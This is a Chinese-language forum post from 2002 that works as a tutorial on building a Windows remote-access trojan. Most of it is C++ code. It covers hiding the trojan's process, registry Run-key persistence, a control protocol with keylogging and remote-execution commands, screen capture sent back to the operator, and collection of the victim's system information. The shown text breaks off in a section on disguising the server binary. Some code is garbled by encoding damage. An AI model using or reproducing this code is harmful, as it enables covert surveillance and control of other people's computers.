免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 4846 | 回复: 9
打印 上一主题 下一主题

木马--黑客的利器 (Trojan Horst—Hacker's Sharp Weapon) [复制链接]

论坛徽章:
1
荣誉会员
日期:2011-11-23 16:44:17
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2002-01-29 01:43 |只看该作者 |倒序浏览
[这个贴子最后由Bernardus160在 2002/08/15 07:51pm 编辑]

木马--黑客的利器
Trojan Horst—Hacker Sharp Weapon

1、木马程序的分类

??木马程序技术发展至今,已经经历了4代,第一代,即是简单的密码窃取,发送等,没有什么特别之处。第二代木马,在技术上有了很大的进步,冰河可以说为是国内木马的典型代表之一。第三代木马在数据传递技术上,又做了不小的改进,出现了ICMP等类型的木马,利用畸形报文传递数据,增加了查杀的难度。第四代木马在进程隐藏方面,做了大的改动,采用了内核插入式的嵌入方式,利用远程插入线程技术,嵌入DLL线程。或者挂接PSAPI,实现木马程序的隐藏,甚至在Windows NT/2000下,都达到了良好的隐藏效果。相信,第五代木马很快也会被编制出来。关于更详细的说明,可以参考ShotGun的文章《揭开木马的神秘面纱》。

2.木马程序的隐藏技术

??木马程序的服务器端,为了避免被发现,多数都要进行隐藏处理,下面让我们来看看木马是如何实现隐藏的。

??说到隐藏,首先得先了解三个相关的概念:进程,线程和服务。我简单的解释一下。

  进程:一个正常的Windows应用程序,在运行之后,都会在系统之中产生一个进程,同时,每个进程,分别对应了一个不同的PID(Progress ID, 进程标识符)这个进程会被系统分配一个虚拟的内存空间地址段,一切相关的程序操作,都会在这个虚拟的空间中进行。
线程:一个进程,可以存在一个或多个线程,线程之间同步执行多种操作,一般地,线程之间是相互独立的,当一个线程发生错误的时候,并不一定会导致整个进程的崩溃。

  服务:一个进程当以服务的方式工作的时候,它将会在后台工作,不会出现在任务列表中,但是,在Windows NT/2000下,你仍然可以通过服务管理器检查任何的服务程序是否被启动运行。

  想要隐藏木马的服务器端,可以伪隐藏,也可以是真隐藏。伪隐藏,就是指程序的进程仍然存在,只不过是让他消失在进程列表里。真隐藏则是让程序彻底的消失,不以一个进程或者服务的方式工作。

  伪隐藏的方法,是比较容易实现的,只要把木马服务器端的程序注册为一个服务就可以了,这样,程序就会从任务列表中消失了,因为系统不认为他是一个进程,当按下Ctrl+Alt+Delete的时候,也就看不到这个程序。但是,这种方法只适用于Windows9x的系统,对于Windows NT,Windows 2000等,通过服务管理器,一样会发现你在系统中注册过的服务。难道伪隐藏的方法就真的不能用在Windows NT/2000下了吗?当然还有办法,那就是API的拦截技术,通过建立一个后台的系统钩子,拦截PSAPI的EnumProcessModules等相关的函数来实现对进程和服务的遍历调用的控制,当检测到进程ID(PID)为木马程序的服务器端进程的时候直接跳过,这样就实现了进程的隐藏,金山词霸等软件,就是使用了类似的方法,拦截了TextOutA,TextOutW函数,来截获屏幕输出,实现即时翻译的。同样,这种方法也可以用在进程隐藏上。

  当进程为真隐藏的时候,那么这个木马的服务器部分程序运行之后,就不应该具备一般进程,也不应该具备服务的,也就是说,完全的溶进了系统的内核。也许你会觉得奇怪,刚刚不是说一个应用程序运行之后,一定会产生一个进程吗?的确,所以我们可以不把他做成一个应用程序,而把他做为一个线程,一个其他应用程序的线程,把自身注入其他应用程序的地址空间。而这个应用程序对于系统来说,是一个绝对安全的程序,这样,就达到了彻底隐藏的效果,这样的结果,导致了查杀黑客程序难度的增加。

  出于安全考虑,我只给出一种通过注册服务程序,实现进程伪隐藏的方法,对于更复杂,高级的隐藏方法,比如远程线程插入其他进程的方法,请参阅ShotGun的文章《NT系统下木马进程的隐藏与检测》。

WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
   try
   {
   DWORD dwVersion = GetVersion()&#59;    //取得Windows的版本号
           if (dwVersion >;= 0x80000000)       // Windows 9x隐藏任务列表
           {
              int (VVBACK *rsp)(DWORD,DWORD)&#59;
             HINSTANCE dll=LoadLibrary("KERNEL32.DLL&quot&#59;    //装入KERNEL32.DLL
               rsp=(int(VVBACK *)(DWORD,DWORD))GetProcAddress(dll,"RegisterServiceProcess&quot&#59;    //找到RegisterServiceProcess的入口
               rsp(NULL,1)&#59;    //注册服务
               FreeLibrary(dll)&#59;    //释放DLL模块
           }
   }
   catch (Exception &exception)    //处理异常事件
   {
//处理异常事件
   }
   return 0&#59;
}

3、程序的自加载运行技术

  让程序自运行的方法比较多,除了最常见的方法:加载程序到启动组,写程序启动路径到注册表的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersions\Run的方法外,还有很多其他的办法,据yagami讲,还有几十种方法之多,比如可以修改Boot.ini,或者通过注册表里的输入法键值直接挂接启动,通过修改Explorer.exe启动参数等等的方法,真的可以说是防不胜防,下面展示一段通过修改HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersions\Run键值来实现自启动的程序:

  自装载部分:

HKEY hkey&#59;
AnsiString NewProgramName=AnsiString(sys)+AnsiString("\\&quot+PName&#59;
unsigned long k&#59;
k=REG_OPENED_EXISTING_KEY&#59;
RegCreateKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\",
0L,
NULL,
REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_SET_valuesss,
NULL,
&hkey,&k)&#59;
RegSetvaluesssEx(hkey,
"BackGroup",
0,
REG_SZ,
NewProgramName.c_str(),
NewProgramName.Length())&#59;
RegCloseKey(hkey)&#59;
if (int(Sh*ll Execute(Handle,
"open",
NewProgramName.c_str(),
NULL,
NULL,

SW_HIDE))>;32)
{
WantClose=true&#59;
           Close()&#59;
}
else
{
   HKEY hkey&#59;
   unsigned long k&#59;
   k=REG_OPENED_EXISTING_KEY&#59;
   long a=RegCreateKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN",
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_SET_valuesss,NULL,
&hkey,&k)&#59;
RegSetvaluesssEx(hkey,
"BackGroup",
0,
REG_SZ,
ProgramName.c_str(),
ProgramName.Length())&#59;
int num=0&#59;
char str[20]&#59;
DWORD lth=20&#59;
DWORD type&#59;
char strv[255]&#59;
DWORD  vl=254&#59;
DWORD Suc&#59;
do{
Suc=RegEnumvaluesss(HKEY_LOCAL_MACHINE,
(DWORD)num,str,
NULL,
&type,
strv,&vl)&#59;


if (strcmp(str,"BGroup&quot==0)
{
         DeleteFile(AnsiString(strv))&#59;
         RegDeletevaluesss(HKEY_LOCAL_MACHINE,"BGroup&quot&#59;
         break&#59;
}

}while(Suc== ERROR_SUCCESS)&#59;
RegCloseKey(hkey)&#59;
}

自装载程序的卸载代码:

int num&#59;
char str2[20]&#59;
DWORD lth=20&#59;
DWORD type&#59;
char strv[255]&#59;
DWORD  vl=254&#59;
DWORD Suc&#59;
do{
   Suc=RegEnumvaluesss(HKEY_LOCAL_MACHINE,
(DWORD)num,
str,
NULL,
&type,
strv,
&vl)&#59;
       if (strcmp(str,"BGroup&quot==0)
{
                   DeleteFile(AnsiString(strv))&#59;
                   RegDeletevaluesss(HKEY_LOCAL_MACHINE,"BGroup&quot&#59;
                   break&#59;
       }
}while(Suc== ERROR_SUCCESS)

HKEY hkey&#59;
unsigned long k&#59;
k=REG_OPENED_EXISTING_KEY&#59;
RegCreateKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN",
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_SET_valuesss,NULL,
&hkey,
&k)&#59;
do{
   Suc=RegEnumvaluesss(hkey,(DWORD)num,str,        if (strcmp(str,"BackGroup&quot==0)
{
           DeleteFile(AnsiString(strv))&#59;
           RegDeletevaluesss(HKEY_LOCAL_MACHINE,"BackGroup&quot&#59;
           break&#59;
}
}while(Suc== ERROR_SUCCESS)
RegCloseKey(hkey)&#59;

其中自装载部分使用C++ Builder可以这样写,会比较简化:

TRegistry & regKey = *new TRegistry()&#59;
regKey.RootKey=HKEY_LOCAL_MACHINE&#59;
regKey.OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",true)&#59;
if(!regKey.valuesssExists("Interbase Server&quot)
{
regKey.WriteString("Interbase Server",
"D:\\Program Files\\Borland\\IntrBase\\BIN\\ibserver.exe")&#59;
}
regKey.CloseKey()&#59;
delete &reg&#59;Key&#59;
4、木马程序的建立连接的隐藏

  木马程序的数据传递方法有很多种,其中最常见的要属TCP,UDP传输数据的方法了,通常是利用Winsock与目标机的指定端口建立起连接,使用send和recv等API进行数据的传递,但是由于这种方法的隐蔽性比较差,往往容易被一些工具软件查看到,最简单的,比如在命令行状态下使用netstat命令,就可以查看到当前的活动TCP,UDP连接。

C:\Documents and Settings\bigball>;netstat -n

Active Connections

Proto  Local Address          Foreign Address        State
TCP    192.0.0.9:1032         64.4.13.48:1863        ESTABLISHED
TCP    192.0.0.9:1112         61.141.212.95:80       ESTABLISHED
TCP    192.0.0.9:1135         202.130.239.223:80     ESTABLISHED
TCP    192.0.0.9:1142         202.130.239.223:80     ESTABLISHED
TCP    192.0.0.9:1162         192.0.0.8:139          TIME_WAIT
TCP    192.0.0.9:1169         202.130.239.159:80     ESTABLISHED
TCP    192.0.0.9:1170         202.130.239.133:80     TIME_WAIT

C:\Documents and Settings\bigball>;netstat -a

Active Connections

Proto  Local Address          Foreign Address        State
TCP    Liumy:echo             Liumy:0                LISTENING
TCP    Liumy:discard          Liumy:0                LISTENING
TCP    Liumy:daytime          Liumy:0                LISTENING
TCP    Liumy:qotd             Liumy:0                LISTENING
TCP    Liumy:chargen          Liumy:0                LISTENING
TCP    Liumy:epmap            Liumy:0                LISTENING
TCP    Liumy:microsoft-ds     Liumy:0                LISTENING
TCP    Liumy:1025             Liumy:0                LISTENING
TCP    Liumy:1026             Liumy:0                LISTENING
TCP    Liumy:1031             Liumy:0                LISTENING
TCP    Liumy:1032             Liumy:0                LISTENING
TCP    Liumy:1112             Liumy:0                LISTENING
TCP    Liumy:1135             Liumy:0                LISTENING
TCP    Liumy:1142             Liumy:0                LISTENING
TCP    Liumy:1801             Liumy:0                LISTENING
TCP    Liumy:3372             Liumy:0                LISTENING
TCP    Liumy:3389             Liumy:0                LISTENING
TCP    Liumy:netbios-ssn      Liumy:0                LISTENING
TCP    Liumy:1028             Liumy:0                LISTENING
TCP    Liumy:1032             msgr-ns19.msgr.hotmail.com:1863  ESTAB
TCP    Liumy:1112             szptt61.141.szptt.net.cn:http  ESTABLI
TCP    Liumy:1135             202.130.239.223:http   ESTABLISHED
TCP    Liumy:1142             202.130.239.223:http   ESTABLISHED
TCP    Liumy:1162             W3I:netbios-ssn        TIME_WAIT
TCP    Liumy:1170             202.130.239.133:http   TIME_WAIT
TCP    Liumy:2103             Liumy:0                LISTENING
TCP    Liumy:2105             Liumy:0                LISTENING
TCP    Liumy:2107             Liumy:0                LISTENING
UDP    Liumy:echo             *:*
UDP    Liumy:discard          *:*
UDP    Liumy:daytime          *:*
UDP    Liumy:qotd             *:*
UDP    Liumy:chargen          *:*
UDP    Liumy:epmap            *:*
UDP    Liumy:snmp             *:*
UDP    Liumy:microsoft-ds     *:*
UDP    Liumy:1027             *:*
UDP    Liumy:1029             *:*
UDP    Liumy:3527             *:*
UDP    Liumy:4000             *:*
UDP    Liumy:4001             *:*
UDP    Liumy:1033             *:*
UDP    Liumy:1148             *:*
UDP    Liumy:netbios-ns       *:*
UDP    Liumy:netbios-dgm      *:*
UDP    Liumy:isakmp           *:*

  但是,黑客还是用种种手段躲避了这种侦察,就我所知的方法大概有两种,一种是合并端口法,也就是说,使用特殊的手段,在一个端口上同时绑定两个TCP或者UDP连接,这听起来不可思议,但事实上确实如此,而且已经出现了使用类似方法的程序,通过把自己的木马端口绑定于特定的服务端口之上,(比如80端口的HTTP,谁怀疑他会是木马程序呢?)从而达到隐藏端口的目地。另外一种办法,是使用ICMP(Internet Control Message Protocol)协议进行数据的发送,原理是修改ICMP头的构造,加入木马的控制字段,这样的木马,具备很多新的特点,不占用端口的特点,使用户难以发觉,同时,使用ICMP可以穿透一些防火墙,从而增加了防范的难度。之所以具有这种特点,是因为ICMP不同于TCP,UDP,ICMP工作于网络的应用层不使用TCP协议。关于网络层次的结构,下面给出图示:

网络层次结构图

5、发送数据的组织方法

  关于数据的组织方法,可以说是数学上的问题。关键在于传递数据的可靠性,压缩性,以及高效行。木马程序,为了避免被发现,必须很好的控制数据传输量,一个编制较好的木马,往往有自己的一套传输协议,那么程序上,到底是如何组织实现的呢?下面,我举例包装一些协议:

typedef struct{       //定义消息结构
//char ip[20]&#59;
char Type&#59;    //消息种类
char Password[20]&#59;    //密码
int CNum&#59;          //消息操作号
//int Length&#59;    //消息长度
}Msg&#59;
#define MsgLen sizeof(Msg)
//-------------------------------------------
//对话框数据包定义:Dlg_Msg_Type.h
//-------------------------------------------
//定义如下消息类型:
#define MsgDlgCommon 4//连接事件
#define MsgDlgSend 5//发送完成事件
//消息结构
typedef struct{
   char Name[20]&#59;//对话框标题
   char Msg[256]&#59;//对话框消息内容
}MsgDlgUint&#59;
#define MsgDlgLen sizeof(MsgDlgUint)//消息单元长度

//------------------------------------------
//聊天数据包定义:Chat_Msg_Type.h
//------------------------------------------
//定义如下消息类型:
#define MsgChatCommon 0//连接事件
#define MsgChatConnect 1//接入事件
#define MsgChatEscept 2//结束事件
#define MsgChatReceived 16//确认对话内容收到
//消息结构
typedef struct{
char ClientName[20]&#59;//Client自定义的名称
char Msg[256]&#59;//发送的消息
}MsgChatUint&#59;
#define MsgChatLen sizeof(MsgChatUint)//消息单元长度

//------------------------------------------
//重启数据包定义:Reboot_Msg_Type.h
//------------------------------------------
//定义如下消息类型:
#define MsgReBoot 15//重启事件

//------------------------------------------
//目录结构请求数据包定义:Dir_Msg_Type.h
//------------------------------------------
//定义如下消息类型:
#define MsgGetDirInfo 17
#define MsgReceiveGetDirInfo 18
typedef struct{
char Dir[4096]&#59;//你要的目录名
}MsgDirUint&#59;
#define MsgDirUintLen sizeof(MsgDirUint)

// TCP的Msg
typedef struct{       //定义消息结构
char SType&#59;    //消息种类
char SPassword[20]&#59;    //密码
//int SNum&#59;             //消息操作号
char *AllMsg&#59;
}SMsg&#59;
#define SMsgLen sizeof(SMsg)

#define MSGListProgram  19
#define MSGFlyMouse 21
#define MSGGoWithMouse 22
#define MSGSaveKey  23
#define MSGTracekey 24
#define MsgCopyScreen 25tcp接收消息,udp请求消息
#define MSGCopyWindow 26

//-------------------------
//鼠标指针隐藏和显示控制
//-------------------------
#define MsgSetMouseStat 27//设置消息
#define MsgMouseStat 28//成功消息
typedef struct{
bool mouseshow&#59;
}MsgSetMouseStatUint&#59;
#define MsgSetMouseStatUintLen sizeof(MsgSetMouseStatUint)


//-------------------------
//任务栏隐藏和显示控制
//-------------------------
#define MsgSetTaskBarStat 29//设置消息
#define MsgTaskBarStat 30//成功消息
typedef struct{
bool taskshow&#59;
}MsgSetTaskBarStatUint&#59;
#define MsgSetTaskBarStatUintLen sizeof(MsgSetTaskBarStatUint)

//-------------------------
//得到机器名
//-------------------------
#define MsgGetNetBiosName 31//取请求
#define MsgNetBiosName 32//回送机器名
typedef struct{
char NetBiosName[128]&#59;
}MsgNetBiosNameUint&#59;
#define MsgNetBiosNameUintLen sizeof(MsgNetBiosNameUint)

//-------------------------
//关闭进程变更!
//-------------------------
#define MsgSetProgramClose 33//关闭请求
#define MsgProgramClosed 34//成功消息-----
typedef struct{
char ProgramName[4096]&#59;//old struct : char ProgramName[128]&#59;//要关闭的窗口的名字
}MsgSetProgramCloseUint&#59;
#define MsgSetProgramCloseUintLen sizeof(MsgSetProgramCloseUint)

//-------------------------
//打开进程变更!
//-------------------------
#define MsgSetProgramOpen 20//打开请求
#define MsgProgramOpened 36//成功消息
typedef struct{
char ProgramName[4096]&#59;       //old struct : char ProgramName[128]&#59;//要打开的程序的名字
bool ProgramShow&#59;//前台运行或后台运行程序(隐藏运行)
}MsgSetProgramOpenUint&#59;
#define MsgSetProgramOpenUintLen sizeof(MsgSetProgramOpenUint)

#define MsgGetHardWare 35//请求硬件信息(UDP消息)和回传硬件信息(TCP消息)


  上面一段定义,使用了TCP和UDP两种协议目的就是为了减少TCP连接的几率,这样所消耗的系统资源就会比较少,不容易让目标机察觉。很多木马程序中,都有像上面定义中类似的密码定义,目地是为了防止非真实客户机的连接请求。SNum            为消息操作号,它的作用是为了效验数据是否是发送过的,经过分析而知,我们熟悉的OICQ也正是使用了这一办法来校验消息的。

  数据协议组织好,还有一步工作,就是数据的打包发送,一般的方法是把全部数据压为一个VOID类型的数据流,然后发送:

Msg *msg=new Msg&#59;
TMemoryStream *RData=new TMemoryStream&#59;
NMUDP1->;ReadStream(RData)&#59;
RData->;Read(msg,sizeof(Msg))&#59;
UdpConnect *udpconnect=new UdpConnect&#59;
NetBiosName *netbiosname=new NetBiosName&#59;
if(msg->;CNum==CNumBak)
return&#59;
else{
CNumBak=msg->;CNum&#59;
switch(msg->;Type)
{
case 0://MsgUdpConnect
RData->;Read(udpconnect,sizeof(UdpConnect))&#59;
checkuser(udpconnect->;IsRight)&#59;
break&#59;
case 1:
RData->;Read(netbiosname,sizeof(NetBiosName))&#59;
AnsiString jqm="机器名 "&#59;
jqm+=(AnsiString)netbiosname->;NetBiosName&#59;
Memo2->;Lines->;Add(jqm)&#59;
break&#59;
}
}

??当服务器端收到数据后,首先要做的工作是解包还原VOID流为结构化的协议,这里同样给出事例代码:


NMUDP1->;RemoteHost=FromIP&#59;
NMUDP1->;RemotePort=Port&#59;
TMemoryStream *RData=new TMemoryStream&#59;
NMUDP1->;ReadStream(RData)&#59;
Msg *msg=new Msg&#59;
RData->;Read(msg,sizeof(Msg))&#59;
if(msg->;CNum==CNumBak)
return&#59;
else
{
CNumBak=msg->;CNum&#59;
switch(msg->;Type)
{
case 0:
checkuser(msg->assword)&#59;
break&#59;
case 1:
GetNetBiosName()&#59;
break&#59;
case 2:
CheckHard()&#59;
break&#59;
}
}

  此外,很多木马程序支持了屏幕回传的功能,其根本的原理是先捕获屏幕画面,然后回传给客户机,由于画面的数据量很大所以,很多木马程序都是在画面改变的时候才回传改变部分的画面,常用的手段是最小矩形法,下面以好友“古老传说”的一段算法举例:

#define MAXXCount 10 //屏幕X方向最多分割块数
#define MAXYCount 5 //... Y................
#define DestNum 1000 //每块的偏移检测点最大个数
COLORREF Colors[MAXXCount][MAXYCount][DestNum]&#59;
COLORREF BakColors[MAXXCount]{MAXYCount][DestNum]&#59;
TPoint Dests[DestNum]&#59;
int Sw&#59;
int Sh&#59;
int xCount&#59;
int yCount&#59;
int ItemWidth&#59;
int ItemHeight&#59;
int Dnum&#59;
int Qlity&#59;
//得到消息后执行:
//另外:接收到的数据包中分析出 Dnum ,Qlity
//Dnum:偏移观测点数量
//Qlity:图象要求质量
__fastVV Tform1::CopyScreen(int DNum,int Qlity){
ItemWidth=Sw/xCount&#59;
ItemHeight=Sh/yCount&#59;
Sw=Screen->;Width&#59;
Sh=Screen->;Height&#59;
xCount=(Sw>;1000)?8:6&#59;
yCount=(Sh>;1000)?3:2&#59;
for (int num1=0&#59;num1 Dests[num1].x=random(ItemWidth)&#59;
Dests[num1].y=random(ItemHeight)&#59;
}
CatchScreen(DNum,Qlity)&#59;
}
//收到刷屏消息后只执行:
CatchScreen(DNum,Qlity)&#59;
__fastVV Tform1::CatchScreen(int DNum,int Qlity){
//函数功能:扫描改变的屏幕区域,并切经过优化处理,最后发送这些区域数据
//DNum: 偏移量 Qlity:图象质量
HDC dc=GetDC(GetDesktopWindow())&#59;
Graphics::TBitmap *bm=new Graphics::TBitmap&#59;
bm->;Width=Sw&#59;
bm->;Height=Sh&#59;
BitBlt(bm->;Canvas->;Handle,0,0,Sw-1,Sh-1,dc,0,0)&#59;
int num1,num2,num3&#59;
int nowx,nowy&#59;
bool Change&#59;
bool ItemChange[MAXXCount][MAXYCount]&#59;
for (num1=0&#59;num1 nowx=ItemWidth*num1&#59;
for (num2=0&#59;num2 nowy=ItemHeight*num2&#59;
Change=false&#59;
for (num3=0&#59;num3 Colors[num1][num2][num3]=bm->;Canvas->ixels[nowx+Dests[num3].x][nowy+Dests[num3].y]&#59;
if (Colors[num1][num2][num3]!=BakColors[num1][num2][num3]){
BakColors[num1][num2][num3]=Colors[num1][num2][num3]&#59;
ItemChange[num1][num2]=true&#59;
}
}
}
}

int CNum,MaxCNum&#59;
int ChangedNum=0&#59;
TRect *Rect&#59;
int num4&#59;
int MinSize=10000&#59;
int m&#59;
TRect MinRect&#59;
Graphics::TBitmap *bt2=new Graphics::TBitmap&#59;
TJPEGImage *j=new TJPEGImage&#59;
//************************
j->;Quality=Qlity&#59;
//************************
CopyScreenUint CopyScreen&#59;
CopyScreenItemUint CopyScreenItem&#59;
TMemoryStream *ms=new TMemoryStream&#59;
ms->;Write(&TcpMsg,sizeof(TcpMsgUint))&#59;
ms->;Write(&CopyScreen,sizeof(CopyScreenUint))&#59;
do{
for (num1=0&#59;num1 for (num2=0&#59;num2 for (num3=num1+1&#59;num3<=xCount&#59;num3++){
MaxCNum=0&#59;
for (num4=num2+1&#59;num4<=yCount&#59;num4++){ //遍历所有矩形
CNum=GetChangedNum(TRect(num1,num2,num3,num4))&#59;
if (CNum>;MaxCNum) MaxCNum=CNum&#59;
m=(num3-num1)*(num4-num2)&#59;
if (2*m-CNum MinSize=2*m-CNum&#59;
MinRect=TRect(num1,num2,num3,num4)&#59;
}
}
}
TMemoryStream *ms&#59;
BitBlt(bt2->;Canvas->;Handle,0,0,ItemWidth-1,ItemHeight-1,bt->;Canvas->;Handle,0,0)&#59;
j->;Assign(bt2)&#59;
j->;SaveToStream(ms2)&#59;
CopyScreenItem.Rect=TRect(num1,num2,num3,num4)&#59;
CopyScreenItem.FileType=JPEGFILE&#59; //JPEGFILE 定义为:#define JPEGFILE 1
ms2->osition=0&#59;
CopyScreenItem.Length=ms2->;Size&#59;
ms->;Write(&amp;CopyScreenItem,sizeof(ScreenItemUint))&#59;
ms->;CopyFrom(ms2,ms2->;Size)&#59;
ChangedNum++&#59;
}while(MaxCNum>;0)&#59;
TcpMsg.Type=MsgCopyScreen&#59;
ms->osition=0&#59;
TcpMsg.Length=ms->;Size-sizeof(TcpMsgUint)&#59;
CopyScreen.Count=ChangedNum&#59;
ms->;Write(&amp;TcpMsg,sizeof(TcpMsgUint))&#59;
ms->;Write(&amp;CopyScreen,sizeof(CopyScreenUInt))&#59;
ms->osition=0&#59;
sock->;SendStream(ms)&#59;
}

  这个程序把屏幕画面切分为了多个部分,并存储画面为JPG格式,这样压缩率就变的十分的高了。通过这种方法压缩处理过的数据,变得十分小,甚至在屏幕没有改变的情况下,传送的数据量为0,在这里不做过多分析了,有兴趣的朋友,可以多看看。
6、目标机器情况的获取

  相对于以上几部分来说,这里实现的方法简单多了,这一段内容会比较轻松,一般获取机器情况的方法是调用相关的API,这一点上是和应用程序很相像的。

AnsiString cs&#59;
FILE *fp&#59;
fp=fopen(&quot;temp.had&quot;,&quot;w+&quot;)&#59;
   tODO: Add your source code here
   //获得CPU型号
sys tem_INFO sys teminfo&#59;
Getsys temInfo (&amp;sys teminfo)&#59;
cs=&quot;CPU类型是:&quot;+String(sys teminfo.dwProcessorType)+&quot;\n&quot;&#59;
fwrite(cs.c_str(),cs.Length(),1,fp)&#59;
MEMORYSTATUS memory&#59;
memory.dwLength =sizeof(memory)&#59; //初始化
GlobalMemoryStatus(&amp;memory)&#59;
cs=&quot;物理内存是(Mb):&quot;+String(int(memory.dwTotalPhys /1024/1024))+&quot;\n&quot;&#59;
fwrite(cs.c_str(),cs.Length(),1,fp)&#59;
cs=&quot;可用内存是(Kb):&quot;+String(int( memory.dwAvailPhys/1024))+&quot;\n&quot;&#59;
fwrite(cs.c_str(),cs.Length(),1,fp)&#59;
DWORD sector,byte,cluster,free&#59;
long int freespace,totalspace&#59;
UINT type&#59;
char name&#59;
//0-未知盘、1-不存在、2-可移动磁盘、3-固定磁盘、4-网络磁盘、
//5-CD-ROM、6-内存虚拟盘
char volname[255],filename[100]&#59;//buffer[512]&#59;
DWORD sno,maxl,fileflag &#59;
for (name=‘A‘&#59;name<=‘Z‘&#59;name++)  {//循环检测A~Z
   type = GetDriveType(AnsiString(AnsiString(name)+‘:‘).c_str())&#59; //获得磁盘类型
   if(type==0){
           cs=&quot;未知类型磁盘:&quot;+String(name)+&quot;\n&quot;&#59;
           fwrite(cs.c_str(),cs.Length(),1,fp)&#59;
           }
   else if(type==2){
           cs=&quot;可移动类型磁盘:&quot;+String(name)+&quot;\n&quot;&#59;
           fwrite(cs.c_str(),cs.Length(),1,fp)&#59;
           }
   else if(type==3){
           cs=&quot;固定磁盘:&quot;+String(name)+&quot;\n&quot;&#59;
           fwrite(cs.c_str(),cs.Length(),1,fp)&#59;
           }
   else if(type==4)       {
           cs=&quot;网络映射磁盘:&quot;+String(name)+&quot;\n&quot;&#59;
           fwrite(cs.c_str(),cs.Length(),1,fp)&#59;
           }
   else if (type==5)        {
           cs=&quot;光驱:&quot;+String(name)+&quot;\n&quot;&#59;
           fwrite(cs.c_str(),cs.Length(),1,fp)&#59;
           }
   else if (type==6)        {
           cs=&quot;内存虚拟磁盘:&quot;+String(name)+&quot;\n&quot;&#59;
           fwrite(cs.c_str(),cs.Length(),1,fp)&#59;
           }

   if(GetVolumeInformation((String(name)+String(‘:‘)).c_str(), volname,255,&amp;sno,&amp;maxl,&amp;fileflag,filename,100))        {
           cs=String(name)+&quot;盘卷标为:&quot;+String(volname)+&quot;\n&quot;&#59;
           fwrite(cs.c_str(),cs.Length(),1,fp)&#59;
           cs=String(name)+&quot;盘序号为:&quot;+String(sno)+&quot;\n&quot;&#59;
           fwrite(cs.c_str(),cs.Length(),1,fp)&#59;
           GetDiskFreeSpace((String(name)+String(‘:‘)).c_str(),§or,&amp;byte,&amp;free,&amp;cluster)&#59; //获得返回参数
           totalspace=int(cluster)*byte*sector/1024/1024&#59; //计算总容量
           freespace=int(free)*byte*sector/1024/1024&#59; //计算可用空间
           cs=String(name)+String(‘:‘)+&quot;盘总空间(Mb):&quot;+AnsiString(totalspace)+&quot;\n&quot;&#59;
           fwrite(cs.c_str(),cs.Length(),1,fp)&#59;
           cs=String(name)+String(‘:‘)+&quot;盘可用空间(Mb):&quot;+AnsiString(freespace)+&quot;\n&quot;&#59;
           fwrite(cs.c_str(),cs.Length(),1,fp)&#59;
           }
   }
int wavedevice,mididevice&#59;
WAVEOUTCAPS wavecap&#59;
MIDIOUTCAPS midicap&#59;
wavedevice=(int)waveOutGetNumDevs()&#59; //波形设备信息
mididevice=(int)midiOutGetNumDevs()&#59; // MIDI设备信息
if (wavedevice!=0){
   waveOutGetDevCaps(0,&amp;wavecap,sizeof(WAVEOUTCAPS))&#59;
   cs=&quot;当前波形设备:&quot;+String(wavecap.szPname)+&quot;\n&quot;&#59;
   fwrite(cs.c_str(),cs.Length(),1,fp)&#59;
   }
if (mididevice!=0){
   midiOutGetDevCaps(0,&amp;midicap,sizeof(MIDIOUTCAPS))&#59;
   cs=&quot;当前MIDI设备:&quot;+String(midicap.szPname)+&quot;\n&quot;&#59;
   fwrite(cs.c_str(),cs.Length(),1,fp)&#59;
   }
long double tcs&#59;
long double tc&#59;
long int bpp,cp&#59;
cs=&quot;当前分辨率为:&quot;+String(Screen->;Width)+AnsiString(&quot;*&quot;)+ String(Screen->;Height)+&quot;\n&quot;&#59;
fwrite(cs.c_str(),cs.Length(),1,fp)&#59;
bpp=GetDeviceCaps(Canvas->;Handle ,BITSPIXEL)&#59;
tcs=pow(2,bpp)&#59; //计算色彩的梯度数
cp= GetDeviceCaps(form1->;Canvas->;Handle,PLANES)&#59;
tc= pow(double(tcs),double(cp))&#59; //计算色深
AnsiString sss&#59;
sss=bpp&#59;
cs=&quot;当前色深为:&quot;+sss+&quot;\n&quot;&#59;
fwrite(cs.c_str(),cs.Length(),1,fp)&#59;
fclose(fp)&#59;
AnsiString FileName=&quot;temp.had&quot;&#59;
char *buf&#59;
TcpMsgUint Msg2&#59;
strcpy(Msg2.TPassword,Password)&#59;
TMemoryStream *ms=new TMemoryStream&#59;
ms->;Clear()&#59;
if (!FileExists(FileName)) CheckHard()&#59;
TFileStream *fs=new TFileStream(FileName,fmOpenRead)&#59;
buf=new char[fs->;Size+sizeof(TcpMsgUint)+1]&#59;
fs->;Read(buf,fs->;Size)&#59;
Msg2.Type=MsgGetHardWare&#59;
Msg2.Length=fs->;Size&#59;
FileClose(fs->;Handle)&#59;
ms->;Write(&amp;Msg2,sizeof(TcpMsgUint))&#59;
ms->;Write(buf,Msg2.Length)&#59;
ms->osition=0&#59;
delete []buf&#59;
try{
   sock->;SendStream(ms)&#59;
   }
catch(Exception&amp;e) {
   }
}



  上面一段程序,基本上把相关的系统信息都取到了。

7、服务器端程序的包装与加密

  用过冰河的人都知道,冰河允许用户自定义端口号。这样做的目的,是为了防止被反黑程序检测出来,这种功能是如何实现的呢?

  首先让我们来做一个实验:

进入Windows的命令行模式下做如下操作
1)C:\>;copy Server.Exe Server.Bak
2)建立一个文本文件Test.Txt,其内容为“http://www.patching.net”
3)C:\>;type Text.Txt>;>;Server.Exe
4)运行Server.Exe

